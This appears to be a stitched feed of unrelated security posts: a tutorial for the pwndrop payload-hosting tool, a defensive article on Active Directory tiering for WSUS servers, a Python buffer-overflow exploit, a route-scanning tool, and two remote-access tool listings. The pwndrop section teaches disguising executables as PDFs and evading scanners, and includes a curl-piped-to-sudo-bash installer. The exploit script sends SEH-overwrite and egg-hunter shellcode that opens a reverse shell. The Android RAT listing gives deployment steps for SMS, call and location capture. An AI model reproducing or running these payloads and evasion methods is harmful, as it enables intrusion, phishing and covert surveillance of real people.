Pwndrop - Self-hosting Your Red Team Payloads

Works on mobile

Since the UI is made with Bootstrap, I made sure it is responsive and looks good on every device.

Fun way to use pwndrop on your phone is to take photos with phone camera through the admin panel and they will be automatically uploaded to your server.

Share files over HTTP, HTTPS and even WebDAV

Best part of pwndrop is that it is not just an ordinary web server. My main focus was to support serving files also over WebDAV, which is used for pulling 2nd stage payloads through variety of different methods.

You can even use it with your l33t "UNC Path 0-days" ;)

In the future I plan to also add support for serving files over SMB. This will also allow to steal Net-NTLMv2 hashes from the machines making the request.

Click any of the "copy link" buttons to get a shareable link in your clipboard.

Pwndrop - Self-hosting Your Red Team Payloads

Enable and disable your file downloads

You can enable or disable file's ability to be downloaded, with a single click. Disabled files will return 404 or follow the pre-configured redirection when requested.

Pwndrop - Self-hosting Your Red Team Payloads

Set up facade files to return a different file from the same URL

Each uploaded file can be set up with a facade file, which will be served when a facade is enabled.

For example, you may want to share a link to a Word document with your custom macro payload, but you don't want your macro to be analyzed by online scanners as soon as you paste the link. To protect your payload, you can upload a facade clean document file under your payload file.

When facade mode is enabled all online scanners requesting the file, will receive your clean facade file. This can give you a brief window of evading detection. To have your link return the payload file, you need to manually disable facade mode.

Pwndrop - Self-hosting Your Red Team Payloads

Create custom URL paths without creating directories

You can set whatever URL path you want for your payloads and pwndrop will always return a file when that URL is reached. There is no need to put files into physical directories.

By default, the tool will put every uploaded file under a randomly generated subdirectory. You can easily change it uploaded file's settings.

Pwndrop - Self-hosting Your Red Team Payloads

URL redirects to spoof file extension

Let's say you want to have a shared link, pointing to /download/Salary Charts 2020.docx, but after the user clicks it it should download an HTA payload Salary Charts 2020.docx.hta instead.

Normally you'd have to write some custom .htaccess files to use with Apache's mod_rewrite or fight with nginx configuration files.

With pwndrop you just need to specify the URL path, the file should automatically redirect to.

Pwndrop - Self-hosting Your Red Team Payloads

I will describe the whole setup process in the Quickstart section below.

Change MIME types

In most web servers, web server decides what should be the MIME type of the downloaded file. This gives the web browser information what to do with a file once it is downloaded.

For example a file with text/plain MIME type will be treated as a simple text file and will be displayed in the browser window. The same text file with application/octet-stream MIME type will be treated as a binary file and the browser will save it to a file on disk.

Pwndrop - Self-hosting Your Red Team Payloads

This allows for some interesting manipulation, especially with MIME type confusion exploits.

You can find the list of common MIME types here.

Pwndrop - Self-hosting Your Red Team Payloads

Automatic retrieval of TLS certificates from LetsEncrypt

Once you install pwndrop and point your domain's DNS A records to it, the first attempted HTTPS connection to pwndrop will initiate an automatic retrieval of a TLS certificate from LetsEncrypt.

Secure connections should work out of the box, but do check the readme on Github to learn more about setting it up, especially if you want to use the tool locally or without a domain.

Password protected and hidden admin panel

I wanted to make sure that the admin panel of pwndrop is never visible to people who are not meant to see it. Being able to control the web server fully, I was able to completely lock down access to it. If the viewer's web browser does not have the proper authorization cookie, pwndrop will either redirect to predefined URL or return a 404.

In order to authorize your browser, you need to open a secret URL path on your pwndrop domain. The default path is /pwndrop and should be changed in the settings as soon as the tool is deployed to your server.

Pwndrop - Self-hosting Your Red Team Payloads
Remember to change Secret Path to something unique

If you want to relock access to the admin panel, just change the Secret-Cookie name or value and you will need to visit the Secret-Path again, in order to regain access.

Quickstart

Now that I hope I've managed to highlight all of the features. I wanted to give you a rundown of how to set up your first uploaded file with a facade and redirection.

Goal: Host our payload.exe payload and disguise it as https://www.evilserver.com/uploads/MyResume.pdf shared link. The payload file will be delivered through redirection as MyResume.pdf.exe. The MyResume.pdf file will be set up as a facade file and it will be served as a legitimate PDF file if facade mode is enabled, in order to temporarily hide its true form from online scanners.

Here we go.

0. Deployment

If you don't yet have the server to deploy pwndrop to I highly recommend Digital Ocean. The cheapest $5/mo Debian 9 server with 25GB of storage space will work wonders for you. You can use my referral link to get an extra $100 to spend on your servers in 60 days for free.

I won't be covering the deployment process of pwndrop here on the blog as it may get outdated at some point. Instead check out the always up-to-date README with all the deployment instructions on Github.

If you are in a hurry, though, you can install pwndrop on Linux with a single command:

curl https://raw.githubusercontent.com/kgretzky/pwndrop/master/install_linux.sh | sudo bash

1. Upload your payload executable file

Make sure you authorize your browser first, by opening: https://<yourdomain.com>/pwndrop

Then open https://<yourdomain.com> and follow the instructions on the screen to create your admin account.

IMPORTANT! Do not forget to change the Secret-Path from /pwndrop to something of your choice in the settings.

Use the Upload button or drag & drop payload.exe onto pwndrop to upload your payload file.

Pwndrop - Self-hosting Your Red Team Payloads

2. Upload your PDF facade file

Click the top-left cog icon on your newly uploaded file and the settings dialog will pop out.

Click the facade file upload area or directly drop MyResume.pdf file onto it.

Pwndrop - Self-hosting Your Red Team Payloads

3. Set up redirection

Now you need to change the Path to what it should look like in your shared link. We want it to point to MyResume.pdf so change it to, say: /uploads/MyResume.pdf (you can choose whatever path you want).

Then click the Copy button at the right side of Redirect Path editbox and it will copy the contents of Path editbox to the editbox below.

Just add .exe to the copied path making it /uploads/MyResume.pdf.exe. This will be the path pwndrop redirects to, to serve the payload executable after the user clicks the shared link.

Keep in mind that the redirection will only happen when facade mode is disabled. When facade mode is enabled, pwndrop will serve the facade PDF file instead, not triggering any red flags.

We will also change the MIME type of the facade file, which will show you the power of this feature. While application/x-msdownload MIME type for PDF facade file is valid, the Chrome browser will initiate a download when the shared link is clicked. When you change the MIME type to application/pdf , though, Chrome will open the preview of the PDF file as it will know it is dealing with a PDF file.

Depending on what effect you want to achieve, either having the user download the PDF or have it previewed in the web browser, you can play with different options.

Pwndrop - Self-hosting Your Red Team Payloads

Don't forget to click Save once you're finished with setting up the file.

4. Sharing your file

Now you're done. You can get the HTTP shared link, by clicking the HTTP button. http:// or https:// prefix will be picked based on how you're currently browsing the admin panel. Similarly, if you click the WebDAV button, you will get the WebDAV link copied to your clipboard.

Pwndrop - Self-hosting Your Red Team Payloads

If you ever decide, you want to temporarily disable sharing for this file, just click the power button and it will effectively make the file hidden and links to it will stop working.

Pwndrop - Self-hosting Your Red Team Payloads

Next important thing is enabling the facade. Just click the third button from the left to flip the on/off switch to enable/disable facade mode. When the facade mode is enabled, pwndrop will serve the facade file, which you've uploaded for the given payload, instead of the original payload file. In our example it will deliver the PDF file instead of the payload executable.

Pwndrop - Self-hosting Your Red Team Payloads

Aaand that's it. Enjoy your first shared payload! Hope I've managed to not make the process too complex and that it was pretty easy to follow.

Future Development

I have a lot of ideas I want implemented into pwndrop, but instead of never releasing the tool and keep adding features, because "it is always not yet perfect", I've decided to release the tool as it is now. I will iteratively expand on it by adding new features from time to time.

So before you send me your feedback, check out what I plan to implement in near and far future. I really want to hear what features you'd like to see and how you'd want to use the tool.

Download Counter

This one should be implemented quite fast. It would add a download counter for each file, specifying the number of times the file is allowed to be downloaded. When the limit is reached, pwndrop will either serve a facade file or return file not found.

Download Tracker

This feature is a much needed one, but requires a bit of work. I want to add a separate view panel, which will display in real-time all download requests for every payload file. The log should contain the visitor's User-Agent, IP address and some additional metadata that can be gathered from the particular request.

File dropping with Javascript

There is a method to initiate a file download directly through Javascript executed on an HTML page. It is an effective method for bypassing request scanners of several EDRs.

The idea is that the whole payload file gets embedded into an HTML page as an encrypted blob, which is then decrypted in real-time and served as a download to the web browser. That way there is never a direct request made to a file resource with specific URL, meaning there is nothing to download and scan. EDRs would have to implement Javascript emulation engines in order to execute a dropper script in a sandbox and analyze the decrypted payload.

Conditional facades

At the moment, facade mode can only be enabled/disabled manually, but eventually I'd like this process to be somewhat automated. Pwndrop could check if the request is made with specific cookie, User-Agent or from targeted IP range and then decide whether to serve a payload file or a facade file instead.

Password protected downloads

Sometimes it is good to share a file, which downloads only after entering a valid password. This is the feature I'd also like to have in pwndrop. I'm not yet sure if it should be done with basic HTTP authentication or something custom. Let me know if you have any ideas.

The End (for now!)

This is only the end of this post, but definitely not the end of pwndrop's development. I'd really like to see how you, the red teamers, plan to use this tool and how it can aid you in managing your payloads.

I also hope that you can use this tool not only for work. I hope it helps you share any files you want with the people you want, without having to worry about privacy and/or security issues. Self-hosting is always the best way to go.

Expect future updates on this blog and if you have any feedback you want to share, do contact and follow me on Twitter @mrgretzky.

Get the latest version of pwndrop here:

Enjoy and I'm waiting for your feedback!

Silo, or not silo, that is the question

18 January 2023 at 13:58

Introduction

As we (security folks) were working on the hardening of WSUS update servers, we had to answer an interesting question dealing with how to best isolate a sensitive server like WSUS on on-premises Active Directory. The question was: should I put my WSUS server into my T0 silo?

Even if people are familiar with the concepts of Active Directory Tiering, a recurrent question remains: Knowing that an update server is considered as a critical asset (Tier 0), should authentication policies be applied to this kind of server, is it really relevant?

Imagine you are building a Tier 0 silo, you may intuitively think that putting most of the critical assets in a silo is a good administration practice.

That thought does not stop at the WSUS server, but extends to other critical assets like ADFS servers, ADCS, Exchange servers, servers running hypervisors and so on. For the purpose of this article, we will stick to the example of the WSUS server.

WSUS server in a nutshell

According to Microsoft documentation:

Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates. You can use WSUS to fully manage the distribution of updates that are released through Microsoft Update to computers on your network.”.

In its simplest architecture, how does it work? Updates are downloaded from Microsoft’s update servers and stored locally on the WSUS server. From here, admins can approve the updates for deployment to their internal clients. Windows clients (desktops and servers) can check the local WSUS server for updates that have been approved and can download and install them.

The simplest WSUS architecture can be resumed as follows:

A bigger organization, with multiple geographical sites for example, may use more than one WSUS server. In this case, a tree architecture will be used with multiple downstream servers contacting an upstream server, this last one ultimately depending on the Microsoft upstream server:

Whatever the chosen architecture, we can see that a single WSUS server spreads patches across domains, or worse, across forests. This is even more dangerous across forests as a forest represents the security boundary.

This is the paradox of a WSUS server which is supposed to maintain a level of security through security updates, but which in reality can allow an elevation of privileges due to its centralized role and thus can break down network silos. As a consequence, if only one WSUS server is deployed for the whole Active Directory, administrators should consider such a server as Tier 0.

Silo, or not silo, that is the question

An authentication policy silo controls which accounts can be restricted by the silo and defines the authentication policies to apply to its members. An authentication policy defines the Kerberos protocol ticket-granting ticket (TGT) lifetime properties and authentication access control conditions for an account type. Kerberos is required for authentication policies to be effective. Linking a user account to an authentication policy silo allows to restrict interactive user sign-in to specific hosts.

What is important here is to remember that silos are here to protect from attackers escalating privilege and thus to prevent from pivoting from a lower privilege object to a higher one.

Critical assets should not expose their credentials to lower privilege assets. This introduces the Microsoft Tiering model, where high sensitivity assets are part of the Tier 0 (domain controllers, domain administrators, privileged access workstations, AD FS servers, AD CS servers, and so on…). Servers exposing less critical services are part of the Tier 1, and workstations are part of the Tier 2.

Apply authentication policies to all critical assets to protect them?

A common misunderstanding is that if we put most of the critical assets into an authentication strategies silo, they are protected by a kind of magic, meaning no attacker will be able to authenticate or to compromise a server part of a silo.

This is a wrong statement. Here are our thoughts.

Only users members of a silo can authenticate to computers belonging to this same silo.

This is not exactly true. On one hand, Kerberos armoring enforces a user’s TGT request from a computer member of the authentication policy silo. This mechanism ensures that the user is protected and is not able to “leak” his credentials on non-trusted computers, meaning on a computer from a lower Tier. On the other hand, it does not mean that users who are not members of a silo can not authenticate to a computer which is a member of that silo.

An attacker with valid credentials will still be able to authenticate.

Members of a silo can authenticate only to computers belonging to an authentication policy silo.

This is not exactly true. As seen above, as soon as a TGT is requested for a user member of a silo, if the request comes from a computer that is out of the silo, the interactive authentication will fail. An interactive session allows the user to benefit from the windows SSO. As a consequence, the credentials will be available in the LSASS process.

One statement here to remember is; Authentication policies are protecting users, not computers. Computers put the silo at risk.

When a computer is member of an authentication policy silo, this computer is automatically protected and hardened.

It is in fact the opposite. Intuitively people think that objects in a silo are protected, while they have to be even more hardened and firewalled. Why? Let’s take for example the case of a Tier 0 silo, meaning authentication policies are applied to the most critical Active Directory assets.

If you are building a Tier 0 silo, you need to add to it the following:

  • PAW (Privileged Access Workstations); they are administration workstations where domain administrators are authenticating to and from where they perform administration tasks.
  • Domain administrators; domain administrators should be restricted to interactively authenticate (think SSO) only to the computers members of the silo.
  • Domain controllers; domain administrators need to authenticate to domain controllers. By default, unconstrained delegation is configured for domain controllers (TRUSTED_FOR_DELEGATION) which means that administrators credentials are in memory.

Because users’ credentials are leaked on computers members of a silo, these computers are prime targets for attackers.

So finally, we can ask ourselves the following questions:

  • According to what we said, it seems that it is better to have the minimum number of machines in the silo. Where should I put a server like WSUS which belongs to the Tier 0 perimeter?
  • Is an administrator belonging to the silo still able to authenticate to a computer out of the silo in order to perform administration tasks?

How does it apply to a WSUS server and similar services?

A WSUS is a critical asset, it belongs to Tier 0. If a service like WSUS service has complex code which is prone to vulnerabilities and, moreover, if it is connected to the internet, the attack surface is increased. So is it wise to add such a server in a silo? Theoretically, the answer is no, as administrators credentials are in the server memory.

However, i can hear what you think;

  • What’s the point of having a WSUS out of the silo as, if it is compromised and dispatches a malicious update on Tier 0 computers, the whole Tier 0 is compromised.
  • How will an administrator authenticate to the WSUS if it is out of the silo?

For the first point, starting from the statement that a critical asset is more prone to a compromise, it should “theoretically” be out of the silo (this is counter-intuitive). It is even more true if compromising this asset does not allow to pivot as easily as an attacker can do by compromising a WSUS server (e.g. Exchange servers with split permissions model).

This situation can be resumed in the following schema:

We can see that theoretically there is no real need to have this WSUS server inside the T0 silo. If it is outside, the T0 administrator will still be able to authenticate thanks to a network authentication (logon type 3), e.g. using the Remote Desktop Protocol with Restricted Admin*, otherwise the authentication will fail.

(*) The Restricted Admin mode enforces a user to perform a Network Level Authentication (NLA) when connecting to the Remote Desktop Services.

See the following schema:

As any kind of interactive session is forbidden here, the T0 administrator remains protected.

Conclusion

This article was to lighten the fact that computers inside a silo are putting this silo at risk. They must be even more protected.

In our situation, the best architecture is to have an update server dedicated for each Tier. Each Tier should be isolated, a very fine-grained firewalling should be done. If you are putting out of the silo your WSUS server, RDP Restricted Admin should be configured to allow administrators to authenticate and NTLM should be deactivated for administrators in order to avoid bypassing authentication policies.

Thus, administrators should be members of the Protected Users group. Note that starting from Windows Server 2016, a user added to the silo has automatically NTLM disabled:

If only a Tier 0 silo is set (quite rare to see silos for Tier 1 and Tier 2), administration from an upper to a lower Tier should be done with caution as seen previously. To deny logon from a lower to an upper Tier, you can also use logon rights to explicitly deny accounts from a different perimeter.

Because more and more AD environments are Azure joined, Microsoft updated its model and provides the enterprise access model which aims at “superseding and replacing the legacy tier model that was focused on containing unauthorized escalation of privilege in an on-premises Windows Server Active Directory environment”.


Silo, or not silo, that is the question was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Simple Web Server 2.2 rc2 – Remote Buffer Overflow (SEH Bypass + Egg Hunter)

2 January 2018 at 10:33

I was looking for a vulnerable application to practice SEH Bypass and Egg Hunting techniques. I found this exploit on Exploit-DB which exploits a remote buffer overflow vulnerability in Simple Web Server 2.2 rc2.

The author of this vulnerability tested this exploit on a Windows XP machine and it’s a simple EIP overwrite exploit. I decided to modify it for reverse shell using SEH bypass and Egg Hunting as there was not much space left for the shellcode.

Here is the final exploit code:

#!/usr/bin/env python
import sys,socket

# Exploit Title: [Simple Web Server 2.2 rc2 - Remote Buffer Overflow (SEH Bypass + Egg Hunter) ]
# Date: [02/01/2018]
# Vulnerability Credit: [mr.pr0n (@_pr0n_)]
# Exploit Author: [SlidingWindow] , Twitter: @kapil_khot
# Home Page: [https://slidingwindow0xff.wordpress.com/]
# Vendor Homepage: []
# Version: [Simple Web Server 2.2 rc2]
# Tested on: [Windows 7]
# CVE : []
 
 '''
root@kali:~# ./exploit.py 192.168.253.136
[+]Sending junk + egg hunter + shellcode to the target...
[+]Junk sent to the target...
[+]Got shell!!???

'''

if len(sys.argv) <2:
    print "\n[+]Usage:\n ./SimpleWebServer.py \n"
    sys.exit()


target = sys.argv[1]
#junk = "A" * 2300
#pattern_offset.rb shows offset at 2284
#This overwrites SEH record with Bs
#junk = "A" * 2284 + "B" * 4 + "C" * (2300 - 4 )

seh =  "\x7e\x44\xc5\x6f"	#0x6FC5447E	POP ESI, POP EDI, RETN

#junk = "A" * 2284 + seh + "C" * (2300 - 4 )
nseh = "\xeb\xd0\x90\x90"	#EB D0 - Short JMP 46 bytes backwards in memory. This gives us 46 bytes to put our egg hunter routine.
#junk = "A" * (2284 - 46 - len(nseh))+ "B" * 46 + nseh + seh + "C" * (2300 - 4 )
egg = "w00tw00t"	#A 4-byte tag to look for in memory

#32-byte egg hunter
hunter  =(
	"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02"
	"\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
	"w00t"
	"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
)

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.253.132 LPORT=443 -f c -b "\x00\x0a\x0d\x1a" EXITFUNC=thread
#payload size 351 bytes
shellcode = (
"\xdd\xc7\xbb\xf8\xa7\xf4\x99\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x83\xc5\x04\x31\x5d\x13\x03\xa5\xb4\x16\x6c\xa9\x53\x54"
"\x8f\x51\xa4\x39\x19\xb4\x95\x79\x7d\xbd\x86\x49\xf5\x93\x2a"
"\x21\x5b\x07\xb8\x47\x74\x28\x09\xed\xa2\x07\x8a\x5e\x96\x06"
"\x08\x9d\xcb\xe8\x31\x6e\x1e\xe9\x76\x93\xd3\xbb\x2f\xdf\x46"
"\x2b\x5b\x95\x5a\xc0\x17\x3b\xdb\x35\xef\x3a\xca\xe8\x7b\x65"
"\xcc\x0b\xaf\x1d\x45\x13\xac\x18\x1f\xa8\x06\xd6\x9e\x78\x57"
"\x17\x0c\x45\x57\xea\x4c\x82\x50\x15\x3b\xfa\xa2\xa8\x3c\x39"
"\xd8\x76\xc8\xd9\x7a\xfc\x6a\x05\x7a\xd1\xed\xce\x70\x9e\x7a"
"\x88\x94\x21\xae\xa3\xa1\xaa\x51\x63\x20\xe8\x75\xa7\x68\xaa"
"\x14\xfe\xd4\x1d\x28\xe0\xb6\xc2\x8c\x6b\x5a\x16\xbd\x36\x33"
"\xdb\x8c\xc8\xc3\x73\x86\xbb\xf1\xdc\x3c\x53\xba\x95\x9a\xa4"
"\xbd\x8f\x5b\x3a\x40\x30\x9c\x13\x87\x64\xcc\x0b\x2e\x05\x87"
"\xcb\xcf\xd0\x08\x9b\x7f\x8b\xe8\x4b\xc0\x7b\x81\x81\xcf\xa4"
"\xb1\xaa\x05\xcd\x58\x51\xce\x32\x34\xa4\x8a\xdb\x47\x56\x92"
"\xa0\xc1\xb0\xfe\xc6\x87\x6b\x97\x7f\x82\xe7\x06\x7f\x18\x82"
"\x09\x0b\xaf\x73\xc7\xfc\xda\x67\xb0\x0c\x91\xd5\x17\x12\x0f"
"\x71\xfb\x81\xd4\x81\x72\xba\x42\xd6\xd3\x0c\x9b\xb2\xc9\x37"
"\x35\xa0\x13\xa1\x7e\x60\xc8\x12\x80\x69\x9d\x2f\xa6\x79\x5b"
"\xaf\xe2\x2d\x33\xe6\xbc\x9b\xf5\x50\x0f\x75\xac\x0f\xd9\x11"
"\x29\x7c\xda\x67\x36\xa9\xac\x87\x87\x04\xe9\xb8\x28\xc1\xfd"
"\xc1\x54\x71\x01\x18\xdd\x91\xe0\x88\x28\x3a\xbd\x59\x91\x27"
"\x3e\xb4\xd6\x51\xbd\x3c\xa7\xa5\xdd\x35\xa2\xe2\x59\xa6\xde"
"\x7b\x0c\xc8\x4d\x7b\x05")

print "[+]Sending junk + egg hunter + shellcode to the target..."
junk = "A" * (2284 - len(egg) - len(shellcode) - 46 - len(nseh)) + egg + shellcode +  "\x90" * (46 - len(hunter)) +  hunter + nseh + seh + "C" * (2300 - 2284 -  4 )
buf = "GET / HTTP/1.1\n"
buf += "HOST: " + target + "\n"
buf += "User-Agent: Mozilla/5.0 \n" 
buf += "Connection: " + junk + "\r\n\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, 80))
sock.send(buf)

print "[+]Junk sent to the target..."
print "[+]Got shell!!???"

Route-Detect - Find Authentication (Authn) And Authorization (Authz) Security Bugs In Web Application Routes

By: Zion3R
27 January 2024 at 11:30


Find authentication (authn) and authorization (authz) security bugs in web application routes:


Web application HTTP route authn and authz bugs are some of the most common security issues found today. These industry standard resources highlight the severity of the issue:

Supported web frameworks (route-detect IDs in parentheses):

  • Python: Django (django, django-rest-framework), Flask (flask), Sanic (sanic)
  • PHP: Laravel (laravel), Symfony (symfony), CakePHP (cakephp)
  • Ruby: Rails* (rails), Grape (grape)
  • Java: JAX-RS (jax-rs), Spring (spring)
  • Go: Gorilla (gorilla), Gin (gin), Chi (chi)
  • JavaScript/TypeScript: Express (express), React (react), Angular (angular)

*Rails support is limited. Please see this issue for more information.

Installing

Use pip to install route-detect:

$ python -m pip install --upgrade route-detect

You can check that route-detect is installed correctly with the following command:

$ echo 'print(1 == 1)' | semgrep --config $(routes which test-route-detect) -
Scanning 1 file.

Findings:

/tmp/stdin
routes.rules.test-route-detect
Found '1 == 1', your route-detect installation is working correctly

1┆ print(1 == 1)


Ran 1 rule on 1 file: 1 finding.

Using

route-detect provides the routes CLI command and uses semgrep to search for routes.

Use the which subcommand to point semgrep at the correct web application rules:

$ semgrep --config $(routes which django) path/to/django/code

Use the viz subcommand to visualize route information in your browser:

$ semgrep --json --config $(routes which django) --output routes.json path/to/django/code
$ routes viz --browser routes.json

If you're not sure which framework to look for, you can use the special all ID to check everything:

$ semgrep --json --config $(routes which all) --output routes.json path/to/code

If you have custom authn or authz logic, you can copy route-detect's rules:

$ cp $(routes which django) my-django.yml

Then you can modify the rule as necessary and run it like above:

$ semgrep --json --config my-django.yml --output routes.json path/to/django/code
$ routes viz --browser routes.json

Contributing

route-detect uses poetry for dependency and configuration management.

Before proceeding, install project dependencies with the following command:

$ poetry install --with dev

Linting

Lint all project files with the following command:

$ poetry run pre-commit run --all-files

Testing

Run Python tests with the following command:

$ poetry run pytest --cov

Run Semgrep rule tests with the following command:

$ poetry run semgrep --test --config routes/rules/ tests/test_rules/


BackDoorSim - An Educational Into Remote Administration Tools

By: Zion3R
26 February 2024 at 11:30


BackdoorSim is a remote administration and monitoring tool designed for educational and testing purposes. It consists of two main components: ControlServer and BackdoorClient. The server controls the client, allowing for various operations like file transfer, system monitoring, and more.


Disclaimer

This tool is intended for educational purposes only. Misuse of this software can violate privacy and security policies. The developers are not responsible for any misuse or damage caused by this software. Always ensure you have permission to use this tool in your intended environment.


Features
  • File Transfer: Upload and download files between server and client.
  • Screenshot Capture: Take screenshots from the client's system.
  • System Information Gathering: Retrieve detailed system and security software information.
  • Camera Access: Capture images from the client's webcam.
  • Notifications: Send and display notifications on the client system.
  • Help Menu: Easy access to command information and usage.

Installation

To set up BackdoorSim, you will need to install it on both the server and client machines.

  1. Clone the repository:

shell $ git clone https://github.com/HalilDeniz/BackDoorSim.git

  1. Navigate to the project directory:

shell $ cd BackDoorSim

  1. Install the required dependencies:

shell $ pip install -r requirements.txt


Usage

After starting both the server and client, you can use the following commands in the server's command prompt:

  • upload [file_path]: Upload a file to the client.
  • download [file_path]: Download a file from the client.
  • screenshot: Capture a screenshot from the client.
  • sysinfo: Get system information from the client.
  • securityinfo: Get security software status from the client.
  • camshot: Capture an image from the client's webcam.
  • notify [title] [message]: Send a notification to the client.
  • help: Display the help menu.

Disclaimer

BackDoorSim is developed for educational purposes only. The creators of BackDoorSim are not responsible for any misuse of this tool. This tool should not be used in any unauthorized or illegal manner. Always ensure ethical and legal use of this tool.


DepNot: RansomwareSim

If you are interested in tools like BackdoorSim, be sure to check out my recently released RansomwareSim tool


BackdoorSim: An Educational into Remote Administration Tools

If you want to read our article about Backdoor


Contributing

Contributions, suggestions, and feedback are welcome. Please create an issue or pull request for any contributions. 1. Fork the repository. 2. Create a new branch for your feature or bug fix. 3. Make your changes and commit them. 4. Push your changes to your forked repository. 5. Open a pull request in the main repository.


Contact

For any inquiries or further information, you can reach me through the following channels:



Moukthar - Android Remote Administration Tool

By: Zion3R
2 March 2024 at 11:30


Remote adminitration tool for android


Features
  • Notifications listener
  • SMS listener
  • Phone call recording
  • Image capturing and screenshots
  • Persistence
  • Read & write contacts
  • List installed applications
  • Download & upload files
  • Get device location

Installation
  • Clone repository console git clone https://github.com/Tomiwa-Ot/moukthar.git
  • Move server files to /var/www/html/ and install dependencies console mv moukthar/Server/* /var/www/html/ cd /var/www/html/c2-server composer install cd /var/www/html/web\ socket/ composer install The default credentials are username: android and password: the rastafarian in you
  • Set database credentials in c2-server/.env and web socket/.env
  • Execute database.sql
  • Start web socket server or deploy as service in linux console php Server/web\ socket/App.php # OR sudo mv Server/websocket.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable websocket.service sudo systemctl start websocket.service
  • Modify /etc/apache2/apache2.conf xml <Directory /var/www/html/c2-server> Options -Indexes DirectoryIndex app.php AllowOverride All Require all granted </Directory>
  • Set C2 server and web socket server address in client functionality/Utils.java ```java public static final String C2_SERVER = "http://localhost";

public static final String WEB_SOCKET_SERVER = "ws://localhost:8080"; ``` - Compile APK using Android Studio and deploy to target


TODO
  • Auto scroll logs on dashboard


❌
❌